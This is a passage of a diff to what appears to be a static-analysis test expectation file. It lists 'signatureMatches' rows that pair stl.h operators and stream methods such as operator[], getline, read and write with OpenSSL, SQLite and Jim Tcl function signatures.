| 0 | +| stl.h:62:13:62:22 | operator-= | (int) | | EVP_PKEY_asn1_get0 | 0 | +| stl.h:62:13:62:22 | operator-= | (int) | | Jim_ReturnCode | 0 | +| stl.h:62:13:62:22 | operator-= | (int) | | Jim_SignalId | 0 | +| stl.h:62:13:62:22 | operator-= | (int) | | OBJ_nid2ln | 0 | +| stl.h:62:13:62:22 | operator-= | (int) | | OBJ_nid2obj | 0 | +| stl.h:62:13:62:22 | operator-= | (int) | | OBJ_nid2sn | 0 | +| stl.h:62:13:62:22 | operator-= | (int) | | OSSL_STORE_INFO_type_string | 0 | +| stl.h:62:13:62:22 | operator-= | (int) | | OSSL_trace_get_category_name | 0 | +| stl.h:62:13:62:22 | operator-= | (int) | | PKCS12_init | 0 | +| stl.h:62:13:62:22 | operator-= | (int) | | Symbol_Nth | 0 | +| stl.h:62:13:62:22 | operator-= | (int) | | X509_PURPOSE_get0 | 0 | +| stl.h:62:13:62:22 | operator-= | (int) | | X509_PURPOSE_get_by_id | 0 | +| stl.h:62:13:62:22 | operator-= | (int) | | X509_TRUST_get0 | 0 | +| stl.h:62:13:62:22 | operator-= | (int) | | X509_TRUST_get_by_id | 0 | +| stl.h:62:13:62:22 | operator-= | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| stl.h:62:13:62:22 | operator-= | (int) | | evp_pkey_type2name | 0 | +| stl.h:62:13:62:22 | operator-= | (int) | | ossl_cmp_bodytype_to_string | 0 | +| stl.h:62:13:62:22 | operator-= | (int) | | ossl_tolower | 0 | +| stl.h:62:13:62:22 | operator-= | (int) | | ossl_toupper | 0 | +| stl.h:62:13:62:22 | operator-= | (int) | | pulldown_test_framework | 0 | +| stl.h:62:13:62:22 | operator-= | (int) | | sqlite3_compileoption_get | 0 | +| stl.h:62:13:62:22 | operator-= | (int) | | sqlite3_errstr | 0 | +| stl.h:62:13:62:22 | operator-= | (int) | | tls1_alert_code | 0 | +| stl.h:62:13:62:22 | operator-= | (int) | | tls13_alert_code | 0 | +| stl.h:62:13:62:22 | operator-= | (int) | | wait_until_sock_readable | 0 | +| stl.h:64:18:64:27 | operator[] | (int) | | ASN1_STRING_type_new | 0 | +| stl.h:64:18:64:27 | operator[] | (int) | | ASN1_tag2bit | 0 | +| stl.h:64:18:64:27 | operator[] | (int) | | ASN1_tag2str | 0 | +| stl.h:64:18:64:27 | operator[] | (int) | | EVP_PKEY_asn1_get0 | 0 | +| stl.h:64:18:64:27 | operator[] | (int) | | Jim_ReturnCode | 0 | +| stl.h:64:18:64:27 | operator[] | (int) | | Jim_SignalId | 0 | +| stl.h:64:18:64:27 | operator[] | (int) | | OBJ_nid2ln | 0 | +| stl.h:64:18:64:27 | operator[] | (int) | | OBJ_nid2obj | 0 | +| stl.h:64:18:64:27 | operator[] | (int) | | OBJ_nid2sn | 0 | +| stl.h:64:18:64:27 | operator[] | (int) | | OSSL_STORE_INFO_type_string | 0 | +| stl.h:64:18:64:27 | operator[] | (int) | | OSSL_trace_get_category_name | 0 | +| stl.h:64:18:64:27 | operator[] | (int) | | PKCS12_init | 0 | +| stl.h:64:18:64:27 | operator[] | (int) | | Symbol_Nth | 0 | +| stl.h:64:18:64:27 | operator[] | (int) | | X509_PURPOSE_get0 | 0 | +| stl.h:64:18:64:27 | operator[] | (int) | | X509_PURPOSE_get_by_id | 0 | +| stl.h:64:18:64:27 | operator[] | (int) | | X509_TRUST_get0 | 0 | +| stl.h:64:18:64:27 | operator[] | (int) | | X509_TRUST_get_by_id | 0 | +| stl.h:64:18:64:27 | operator[] | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| stl.h:64:18:64:27 | operator[] | (int) | | evp_pkey_type2name | 0 | +| stl.h:64:18:64:27 | operator[] | (int) | | ossl_cmp_bodytype_to_string | 0 | +| stl.h:64:18:64:27 | operator[] | (int) | | ossl_tolower | 0 | +| stl.h:64:18:64:27 | operator[] | (int) | | ossl_toupper | 0 | +| stl.h:64:18:64:27 | operator[] | (int) | | pulldown_test_framework | 0 | +| stl.h:64:18:64:27 | operator[] | (int) | | sqlite3_compileoption_get | 0 | +| stl.h:64:18:64:27 | operator[] | (int) | | sqlite3_errstr | 0 | +| stl.h:64:18:64:27 | operator[] | (int) | | tls1_alert_code | 0 | +| stl.h:64:18:64:27 | operator[] | (int) | | tls13_alert_code | 0 | +| stl.h:64:18:64:27 | operator[] | (int) | | wait_until_sock_readable | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | ASN1_STRING_type_new | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | ASN1_STRING_type_new | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | ASN1_tag2bit | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | ASN1_tag2bit | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | ASN1_tag2str | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | ASN1_tag2str | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | EVP_PKEY_asn1_get0 | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | EVP_PKEY_asn1_get0 | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | Jim_ReturnCode | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | Jim_ReturnCode | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | Jim_SignalId | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | Jim_SignalId | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | OBJ_nid2ln | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | OBJ_nid2ln | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | OBJ_nid2obj | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | OBJ_nid2obj | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | OBJ_nid2sn | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | OBJ_nid2sn | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | OSSL_STORE_INFO_type_string | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | OSSL_STORE_INFO_type_string | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | OSSL_trace_get_category_name | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | OSSL_trace_get_category_name | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | PKCS12_init | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | PKCS12_init | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | Symbol_Nth | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | Symbol_Nth | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | X509_PURPOSE_get0 | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | X509_PURPOSE_get0 | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | X509_PURPOSE_get_by_id | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | X509_PURPOSE_get_by_id | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | X509_TRUST_get0 | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | X509_TRUST_get0 | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | X509_TRUST_get_by_id | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | X509_TRUST_get_by_id | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | evp_pkey_type2name | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | evp_pkey_type2name | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | ossl_cmp_bodytype_to_string | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | ossl_cmp_bodytype_to_string | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | ossl_tolower | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | ossl_tolower | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | ossl_toupper | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | ossl_toupper | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | pulldown_test_framework | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | pulldown_test_framework | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | sqlite3_compileoption_get | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | sqlite3_compileoption_get | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | sqlite3_errstr | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | sqlite3_errstr | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | tls1_alert_code | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | tls1_alert_code | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | tls13_alert_code | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | tls13_alert_code | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | wait_until_sock_readable | 0 | +| stl.h:91:24:91:33 | operator++ | (int) | | wait_until_sock_readable | 0 | | stl.h:182:17:182:22 | assign | (InputIt,InputIt) | deque | assign | 0 | | stl.h:182:17:182:22 | assign | (InputIt,InputIt) | deque | assign | 1 | | stl.h:182:17:182:22 | assign | (InputIt,InputIt) | forward_list | assign | 0 | @@ -313,10 +5527,178 @@ signatureMatches | stl.h:190:17:190:23 | replace | (const_iterator,InputIt,InputIt) | vector | insert | 0 | | stl.h:190:17:190:23 | replace | (const_iterator,InputIt,InputIt) | vector | insert | 1 | | stl.h:190:17:190:23 | replace | (const_iterator,InputIt,InputIt) | vector | insert | 2 | +| stl.h:218:33:218:35 | get | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_cert_flags | 1 | +| stl.h:218:33:218:35 | get | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_flags | 1 | +| stl.h:218:33:218:35 | get | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_nm_flags | 1 | +| stl.h:218:33:218:35 | get | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_oid_flags | 1 | +| stl.h:218:33:218:35 | get | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_str_flags | 1 | +| stl.h:218:33:218:35 | get | (BIGNUM *,unsigned long) | | BN_add_word | 1 | +| stl.h:218:33:218:35 | get | (BIGNUM *,unsigned long) | | BN_div_word | 1 | +| stl.h:218:33:218:35 | get | (BIGNUM *,unsigned long) | | BN_set_word | 1 | +| stl.h:218:33:218:35 | get | (BIGNUM *,unsigned long) | | BN_sub_word | 1 | +| stl.h:218:33:218:35 | get | (BN_BLINDING *,unsigned long) | | BN_BLINDING_set_flags | 1 | +| stl.h:218:33:218:35 | get | (CONF_IMODULE *,unsigned long) | | CONF_imodule_set_flags | 1 | +| stl.h:218:33:218:35 | get | (EVP_CIPHER *,unsigned long) | | EVP_CIPHER_meth_set_flags | 1 | +| stl.h:218:33:218:35 | get | (EVP_MD *,unsigned long) | | EVP_MD_meth_set_flags | 1 | +| stl.h:218:33:218:35 | get | (HMAC_CTX *,unsigned long) | | HMAC_CTX_set_flags | 1 | +| stl.h:218:33:218:35 | get | (OPENSSL_INIT_SETTINGS *,unsigned long) | | OPENSSL_INIT_set_config_file_flags | 1 | +| stl.h:218:33:218:35 | get | (OPENSSL_LHASH *,unsigned long) | | OPENSSL_LH_set_down_load | 1 | +| stl.h:218:33:218:35 | get | (OSSL_HTTP_REQ_CTX *,unsigned long) | | OSSL_HTTP_REQ_CTX_set_max_response_length | 1 | +| stl.h:218:33:218:35 | get | (OSSL_PARAM *,unsigned long) | | OSSL_PARAM_set_ulong | 1 | +| stl.h:218:33:218:35 | get | (SSL *,unsigned long) | | SSL_dane_clear_flags | 1 | +| stl.h:218:33:218:35 | get | (SSL *,unsigned long) | | SSL_dane_set_flags | 1 | +| stl.h:218:33:218:35 | get | (SSL_CONNECTION *,unsigned long) | | tls1_check_ec_tmp_key | 1 | +| stl.h:218:33:218:35 | get | (SSL_CTX *,unsigned long) | | SSL_CTX_dane_clear_flags | 1 | +| stl.h:218:33:218:35 | get | (SSL_CTX *,unsigned long) | | SSL_CTX_dane_set_flags | 1 | +| stl.h:218:33:218:35 | get | (X509_STORE *,unsigned long) | | X509_STORE_set_flags | 1 | +| stl.h:218:33:218:35 | get | (X509_STORE_CTX *,unsigned long) | | X509_STORE_CTX_set_flags | 1 | +| stl.h:218:33:218:35 | get | (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_clear_flags | 1 | +| stl.h:218:33:218:35 | get | (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_set_flags | 1 | +| stl.h:218:33:218:35 | get | (const BIGNUM *,unsigned long) | | BN_mod_word | 1 | +| stl.h:220:33:220:36 | read | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_cert_flags | 1 | +| stl.h:220:33:220:36 | read | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_flags | 1 | +| stl.h:220:33:220:36 | read | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_nm_flags | 1 | +| stl.h:220:33:220:36 | read | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_oid_flags | 1 | +| stl.h:220:33:220:36 | read | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_str_flags | 1 | +| stl.h:220:33:220:36 | read | (BIGNUM *,unsigned long) | | BN_add_word | 1 | +| stl.h:220:33:220:36 | read | (BIGNUM *,unsigned long) | | BN_div_word | 1 | +| stl.h:220:33:220:36 | read | (BIGNUM *,unsigned long) | | BN_set_word | 1 | +| stl.h:220:33:220:36 | read | (BIGNUM *,unsigned long) | | BN_sub_word | 1 | +| stl.h:220:33:220:36 | read | (BN_BLINDING *,unsigned long) | | BN_BLINDING_set_flags | 1 | +| stl.h:220:33:220:36 | read | (CONF_IMODULE *,unsigned long) | | CONF_imodule_set_flags | 1 | +| stl.h:220:33:220:36 | read | (EVP_CIPHER *,unsigned long) | | EVP_CIPHER_meth_set_flags | 1 | +| stl.h:220:33:220:36 | read | (EVP_MD *,unsigned long) | | EVP_MD_meth_set_flags | 1 | +| stl.h:220:33:220:36 | read | (HMAC_CTX *,unsigned long) | | HMAC_CTX_set_flags | 1 | +| stl.h:220:33:220:36 | read | (OPENSSL_INIT_SETTINGS *,unsigned long) | | OPENSSL_INIT_set_config_file_flags | 1 | +| stl.h:220:33:220:36 | read | (OPENSSL_LHASH *,unsigned long) | | OPENSSL_LH_set_down_load | 1 | +| stl.h:220:33:220:36 | read | (OSSL_HTTP_REQ_CTX *,unsigned long) | | OSSL_HTTP_REQ_CTX_set_max_response_length | 1 | +| stl.h:220:33:220:36 | read | (OSSL_PARAM *,unsigned long) | | OSSL_PARAM_set_ulong | 1 | +| stl.h:220:33:220:36 | read | (SSL *,unsigned long) | | SSL_dane_clear_flags | 1 | +| stl.h:220:33:220:36 | read | (SSL *,unsigned long) | | SSL_dane_set_flags | 1 | +| stl.h:220:33:220:36 | read | (SSL_CONNECTION *,unsigned long) | | tls1_check_ec_tmp_key | 1 | +| stl.h:220:33:220:36 | read | (SSL_CTX *,unsigned long) | | SSL_CTX_dane_clear_flags | 1 | +| stl.h:220:33:220:36 | read | (SSL_CTX *,unsigned long) | | SSL_CTX_dane_set_flags | 1 | +| stl.h:220:33:220:36 | read | (X509_STORE *,unsigned long) | | X509_STORE_set_flags | 1 | +| stl.h:220:33:220:36 | read | (X509_STORE_CTX *,unsigned long) | | X509_STORE_CTX_set_flags | 1 | +| stl.h:220:33:220:36 | read | (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_clear_flags | 1 | +| stl.h:220:33:220:36 | read | (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_set_flags | 1 | +| stl.h:220:33:220:36 | read | (const BIGNUM *,unsigned long) | | BN_mod_word | 1 | +| stl.h:221:14:221:21 | readsome | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_cert_flags | 1 | +| stl.h:221:14:221:21 | readsome | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_flags | 1 | +| stl.h:221:14:221:21 | readsome | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_nm_flags | 1 | +| stl.h:221:14:221:21 | readsome | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_oid_flags | 1 | +| stl.h:221:14:221:21 | readsome | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_str_flags | 1 | +| stl.h:221:14:221:21 | readsome | (BIGNUM *,unsigned long) | | BN_add_word | 1 | +| stl.h:221:14:221:21 | readsome | (BIGNUM *,unsigned long) | | BN_div_word | 1 | +| stl.h:221:14:221:21 | readsome | (BIGNUM *,unsigned long) | | BN_set_word | 1 | +| stl.h:221:14:221:21 | readsome | (BIGNUM *,unsigned long) | | BN_sub_word | 1 | +| stl.h:221:14:221:21 | readsome | (BN_BLINDING *,unsigned long) | | BN_BLINDING_set_flags | 1 | +| stl.h:221:14:221:21 | readsome | (CONF_IMODULE *,unsigned long) | | CONF_imodule_set_flags | 1 | +| stl.h:221:14:221:21 | readsome | (EVP_CIPHER *,unsigned long) | | EVP_CIPHER_meth_set_flags | 1 | +| stl.h:221:14:221:21 | readsome | (EVP_MD *,unsigned long) | | EVP_MD_meth_set_flags | 1 | +| stl.h:221:14:221:21 | readsome | (HMAC_CTX *,unsigned long) | | HMAC_CTX_set_flags | 1 | +| stl.h:221:14:221:21 | readsome | (OPENSSL_INIT_SETTINGS *,unsigned long) | | OPENSSL_INIT_set_config_file_flags | 1 | +| stl.h:221:14:221:21 | readsome | (OPENSSL_LHASH *,unsigned long) | | OPENSSL_LH_set_down_load | 1 | +| stl.h:221:14:221:21 | readsome | (OSSL_HTTP_REQ_CTX *,unsigned long) | | OSSL_HTTP_REQ_CTX_set_max_response_length | 1 | +| stl.h:221:14:221:21 | readsome | (OSSL_PARAM *,unsigned long) | | OSSL_PARAM_set_ulong | 1 | +| stl.h:221:14:221:21 | readsome | (SSL *,unsigned long) | | SSL_dane_clear_flags | 1 | +| stl.h:221:14:221:21 | readsome | (SSL *,unsigned long) | | SSL_dane_set_flags | 1 | +| stl.h:221:14:221:21 | readsome | (SSL_CONNECTION *,unsigned long) | | tls1_check_ec_tmp_key | 1 | +| stl.h:221:14:221:21 | readsome | (SSL_CTX *,unsigned long) | | SSL_CTX_dane_clear_flags | 1 | +| stl.h:221:14:221:21 | readsome | (SSL_CTX *,unsigned long) | | SSL_CTX_dane_set_flags | 1 | +| stl.h:221:14:221:21 | readsome | (X509_STORE *,unsigned long) | | X509_STORE_set_flags | 1 | +| stl.h:221:14:221:21 | readsome | (X509_STORE_CTX *,unsigned long) | | X509_STORE_CTX_set_flags | 1 | +| stl.h:221:14:221:21 | readsome | (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_clear_flags | 1 | +| stl.h:221:14:221:21 | readsome | (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_set_flags | 1 | +| stl.h:221:14:221:21 | readsome | (const BIGNUM *,unsigned long) | | BN_mod_word | 1 | +| stl.h:225:32:225:38 | getline | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_cert_flags | 1 | +| stl.h:225:32:225:38 | getline | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_flags | 1 | +| stl.h:225:32:225:38 | getline | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_nm_flags | 1 | +| stl.h:225:32:225:38 | getline | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_oid_flags | 1 | +| stl.h:225:32:225:38 | getline | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_str_flags | 1 | +| stl.h:225:32:225:38 | getline | (BIGNUM *,unsigned long) | | BN_add_word | 1 | +| stl.h:225:32:225:38 | getline | (BIGNUM *,unsigned long) | | BN_div_word | 1 | +| stl.h:225:32:225:38 | getline | (BIGNUM *,unsigned long) | | BN_set_word | 1 | +| stl.h:225:32:225:38 | getline | (BIGNUM *,unsigned long) | | BN_sub_word | 1 | +| stl.h:225:32:225:38 | getline | (BN_BLINDING *,unsigned long) | | BN_BLINDING_set_flags | 1 | +| stl.h:225:32:225:38 | getline | (CONF_IMODULE *,unsigned long) | | CONF_imodule_set_flags | 1 | +| stl.h:225:32:225:38 | getline | (EVP_CIPHER *,unsigned long) | | EVP_CIPHER_meth_set_flags | 1 | +| stl.h:225:32:225:38 | getline | (EVP_MD *,unsigned long) | | EVP_MD_meth_set_flags | 1 | +| stl.h:225:32:225:38 | getline | (HMAC_CTX *,unsigned long) | | HMAC_CTX_set_flags | 1 | +| stl.h:225:32:225:38 | getline | (OPENSSL_INIT_SETTINGS *,unsigned long) | | OPENSSL_INIT_set_config_file_flags | 1 | +| stl.h:225:32:225:38 | getline | (OPENSSL_LHASH *,unsigned long) | | OPENSSL_LH_set_down_load | 1 | +| stl.h:225:32:225:38 | getline | (OSSL_HTTP_REQ_CTX *,unsigned long) | | OSSL_HTTP_REQ_CTX_set_max_response_length | 1 | +| stl.h:225:32:225:38 | getline | (OSSL_PARAM *,unsigned long) | | OSSL_PARAM_set_ulong | 1 | +| stl.h:225:32:225:38 | getline | (SSL *,unsigned long) | | SSL_dane_clear_flags | 1 | +| stl.h:225:32:225:38 | getline | (SSL *,unsigned long) | | SSL_dane_set_flags | 1 | +| stl.h:225:32:225:38 | getline | (SSL_CONNECTION *,unsigned long) | | tls1_check_ec_tmp_key | 1 | +| stl.h:225:32:225:38 | getline | (SSL_CTX *,unsigned long) | | SSL_CTX_dane_clear_flags | 1 | +| stl.h:225:32:225:38 | getline | (SSL_CTX *,unsigned long) | | SSL_CTX_dane_set_flags | 1 | +| stl.h:225:32:225:38 | getline | (X509_STORE *,unsigned long) | | X509_STORE_set_flags | 1 | +| stl.h:225:32:225:38 | getline | (X509_STORE_CTX *,unsigned long) | | X509_STORE_CTX_set_flags | 1 | +| stl.h:225:32:225:38 | getline | (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_clear_flags | 1 | +| stl.h:225:32:225:38 | getline | (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_set_flags | 1 | +| stl.h:225:32:225:38 | getline | (const BIGNUM *,unsigned long) | | BN_mod_word | 1 | | stl.h:232:84:232:90 | getline | (const_iterator,InputIt,InputIt) | deque | insert | 2 | | stl.h:232:84:232:90 | getline | (const_iterator,InputIt,InputIt) | forward_list | insert_after | 2 | | stl.h:232:84:232:90 | getline | (const_iterator,InputIt,InputIt) | list | insert | 2 | | stl.h:232:84:232:90 | getline | (const_iterator,InputIt,InputIt) | vector | insert | 2 | +| stl.h:240:33:240:42 | operator<< | (int) | | ASN1_STRING_type_new | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | ASN1_tag2bit | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | ASN1_tag2str | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | EVP_PKEY_asn1_get0 | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | Jim_ReturnCode | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | Jim_SignalId | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | OBJ_nid2ln | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | OBJ_nid2obj | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | OBJ_nid2sn | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | OSSL_STORE_INFO_type_string | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | OSSL_trace_get_category_name | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | PKCS12_init | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | Symbol_Nth | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | X509_PURPOSE_get0 | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | X509_PURPOSE_get_by_id | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | X509_TRUST_get0 | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | X509_TRUST_get_by_id | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | evp_pkey_type2name | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | ossl_cmp_bodytype_to_string | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | ossl_tolower | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | ossl_toupper | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | pulldown_test_framework | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | sqlite3_compileoption_get | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | sqlite3_errstr | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | tls1_alert_code | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | tls13_alert_code | 0 | +| stl.h:240:33:240:42 | operator<< | (int) | | wait_until_sock_readable | 0 | +| stl.h:243:33:243:37 | write | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_cert_flags | 1 | +| stl.h:243:33:243:37 | write | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_flags | 1 | +| stl.h:243:33:243:37 | write | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_nm_flags | 1 | +| stl.h:243:33:243:37 | write | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_oid_flags | 1 | +| stl.h:243:33:243:37 | write | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_str_flags | 1 | +| stl.h:243:33:243:37 | write | (BIGNUM *,unsigned long) | | BN_add_word | 1 | +| stl.h:243:33:243:37 | write | (BIGNUM *,unsigned long) | | BN_div_word | 1 | +| stl.h:243:33:243:37 | write | (BIGNUM *,unsigned long) | | BN_set_word | 1 | +| stl.h:243:33:243:37 | write | (BIGNUM *,unsigned long) | | BN_sub_word | 1 | +| stl.h:243:33:243:37 | write | (BN_BLINDING *,unsigned long) | | BN_BLINDING_set_flags | 1 | +| stl.h:243:33:243:37 | write | (CONF_IMODULE *,unsigned long) | | CONF_imodule_set_flags | 1 | +| stl.h:243:33:243:37 | write | (EVP_CIPHER *,unsigned long) | | EVP_CIPHER_meth_set_flags | 1 | +| stl.h:243:33:243:37 | write | (EVP_MD *,unsigned long) | | EVP_MD_meth_set_flags | 1 | +| stl.h:243:33:243:37 | write | (HMAC_CTX *,unsigned long) | | HMAC_CTX_set_flags | 1 | +| stl.h:243:33:243:37 | write | (OPENSSL_INIT_SETTINGS *,unsigned long) | | OPENSSL_INIT_set_config_file_flags | 1 | +| stl.h:243:33:243:37 | write | (OPENSSL_LHASH *,unsigned long) | | OPENSSL_LH_set_down_load | 1 | +| stl.h:243:33:243:37 | write | (OSSL_HTTP_REQ_CTX *,unsigned long) | | OSSL_HTTP_REQ_CTX_set_max_response_length | 1 | +| stl.h:243:33:243:37 | write | (OSSL_PARAM *,unsigned long) | | OSSL_PARAM_set_ulong | 1 | +| stl.h:243:33:243:37 | write | (SSL *,unsigned long) | | SSL_dane_clear_flags | 1 | +| stl.h:243:33:243:37 | write | (SSL *,unsigned long) | | SSL_dane_set_flags | 1 | +| stl.h:243:33:243:37 | write | (SSL_CONNECTION *,unsigned long) | | tls1_check_ec_tmp_key | 1 | +| stl.h:243:33:243:37 | write | (SSL_CTX *,unsigned long) | | SSL_CTX_dane_clear_flags | 1 | +| stl.h:243:33:243:37 | write | (SSL_CTX *,unsigned long) | | SSL_CTX_dane_set_flags | 1 | +| stl.h:243:33:243:37 | write | (X509_STORE *,unsigned long) | | X509_STORE_set_flags | 1 | +| stl.h:243:33:243:37 | write | (X509_STORE_CTX *,unsigned long) | | X509_STORE_CTX_set_flags | 1 | +| stl.h:243:33:243:37 | write | (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_clear_flags | 1 | +| stl.h:243:33:243:37 | write | (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_set_flags | 1 | +| stl.h:243:33:243:37 | write | (const BIGNUM *,unsigned long) | | BN_mod_word | 1 | | stl.h:294:12:294:17 | vector | (const deque &,const Allocator &) | deque | deque | 1 | | stl.h:294:12:294:17 | vector | (const deque &,const Allocator &) | deque | deque | 1 | | stl.h:294:12:294:17 | vector | (const deque &,const Allocator &) | deque | deque | 1 | @@ -433,6 +5815,20 @@ signatureMatches | stl.h:306:8:306:13 | assign | (size_type,const T &) | vector | assign | 1 | | stl.h:306:8:306:13 | assign | (size_type,const T &) | vector | assign | 1 | | stl.h:306:8:306:13 | assign | (size_type,const T &) | vector | assign | 1 | +| stl.h:315:13:315:22 | operator[] | (unsigned int) | | Jim_IntHashFunction | 0 | +| stl.h:315:13:315:22 | operator[] | (unsigned int) | | Jim_IntHashFunction | 0 | +| stl.h:315:13:315:22 | operator[] | (unsigned int) | | Jim_IntHashFunction | 0 | +| stl.h:315:13:315:22 | operator[] | (unsigned int) | | Jim_IntHashFunction | 0 | +| stl.h:315:13:315:22 | operator[] | (unsigned int) | | Jim_IntHashFunction | 0 | +| stl.h:315:13:315:22 | operator[] | (unsigned int) | | Jim_IntHashFunction | 0 | +| stl.h:315:13:315:22 | operator[] | (unsigned int) | | ssl3_get_cipher | 0 | +| stl.h:315:13:315:22 | operator[] | (unsigned int) | | ssl3_get_cipher | 0 | +| stl.h:315:13:315:22 | operator[] | (unsigned int) | | ssl3_get_cipher | 0 | +| stl.h:315:13:315:22 | operator[] | (unsigned int) | | ssl3_get_cipher | 0 | +| stl.h:315:13:315:22 | operator[] | (unsigned int) | | ssl3_get_cipher | 0 | +| stl.h:315:13:315:22 | operator[] | (unsigned int) | | 